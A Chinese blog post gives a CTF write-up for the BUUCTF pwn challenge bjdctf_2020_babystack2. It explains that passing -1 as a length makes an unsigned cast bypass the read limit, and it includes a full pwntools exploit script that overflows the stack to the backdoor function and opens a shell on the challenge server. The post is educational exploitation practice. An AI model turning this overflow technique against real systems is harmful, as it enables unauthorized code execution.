当前位置: 首页 > news >正文

buuctf中的bjdctf_2020_babystack2

首先checksec检查一下保护机制:

-64位程序

-开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现read函数可触发栈溢出,并且从左边发现存在后门函数,但是read读取的长度受到nbytes这个变量的限制,发现这个变量的数据类型在下面被转化为unsigned int即无符号整数类型,当我们将-1转化为unsigned int类型时,会变成unsigned int的最大值,所以在上面我们只需要输入-1即可在下面触发栈溢出,这里顺便算出偏移量为:0x10+0x8 = 24

backdoor函数内部:

拿到backdoor函数地址:0x400726

然后编写exp攻击脚本:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',28893) # 与在线环境交互。 backdoor = 0x400726 offset = 0x10 + 0x8 io.recvuntil(b'[+]Please input the length of your name:\n') io.sendline(b'-1') io.recvuntil(b'[+]What\'s u name?\n') payload = b'a'*offset + p64(backdoor) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag即可

http://www.cnnetsun.cn/news/188979.html

相关文章:

  • Python金融数据利器:mootdx通达信数据读取完整指南
  • 如何快速获取中国行政区划数据:从新手到专家的完整指南
  • 鸣潮自动化神器:3分钟教会你解放双手的智能游戏助手
  • RMT驱动在ESP-IDF中的高级应用技巧
  • 胎牛血清常见问题解答
  • WorkshopDL:解锁Steam创意工坊的跨平台下载神器
  • 【毕业设计】基于springboot的老人健康信息管理系统的设计与实现老人信息、护理服务、健康监测、员工管理、家属沟通(源码+文档+远程调试,全bao定制等)
  • 【课程设计/毕业设计】基于springboot的老人健康信息管理系统的设计与实现用户数据、健康内容、交互记录【附源码、数据库、万字文档】
  • Thorium浏览器:极致性能与隐私保护的终极选择
  • HashCalculator终极指南:3分钟掌握文件指纹批量管理技巧
  • WorkshopDL完全指南:轻松下载Steam创意工坊模组
  • 信号回流路径设计原理:快速理解PCB布局
  • VRM模型转换实践指南:从基础构建到高级动画制作
  • 3步搞定MusicBee歌词插件:网易云音乐歌词同步终极指南
  • 手机号转QQ号终极指南:3步完成免费快速查询
  • 星图云开发者平台功能详解 | 业务逻辑编辑器:一拖一连,5分钟搞定复杂开发
  • Android存储限制突破指南:NoStorageRestrict模块深度解析
  • Thorium浏览器:重新定义Chromium性能边界的终极解决方案
  • 绝区零智能助手:全自动任务执行解决方案
  • 终极指南:如何在Android 11+系统中优化存储访问体验?
  • 3步搞定MusicBee网易云歌词插件:让音乐播放更完美
  • HashCalculator终极指南:3步掌握文件哈希值批量计算与校验
  • Minecraft终极光影指南:简单几步让方块世界焕然一新
  • 单机游戏分屏革命:Nucleus Co-Op让一台电脑变多人游戏厅
  • 自动驾驶硬件方案成本控制:从零开始的智能驾驶构建指南
  • 重返未来:1999终极自动化助手:彻底告别重复操作的游戏神器
  • 5分钟精通Chrome全页截图:Full Page Screen Capture终极使用指南
  • Nintendo Switch存储管理完全指南:从基础备份到高级分区优化
  • Full Page Screen Capture:彻底告别网页截图拼接时代
  • ThinkPad散热革命:TPFanCtrl2双风扇智能控制终极指南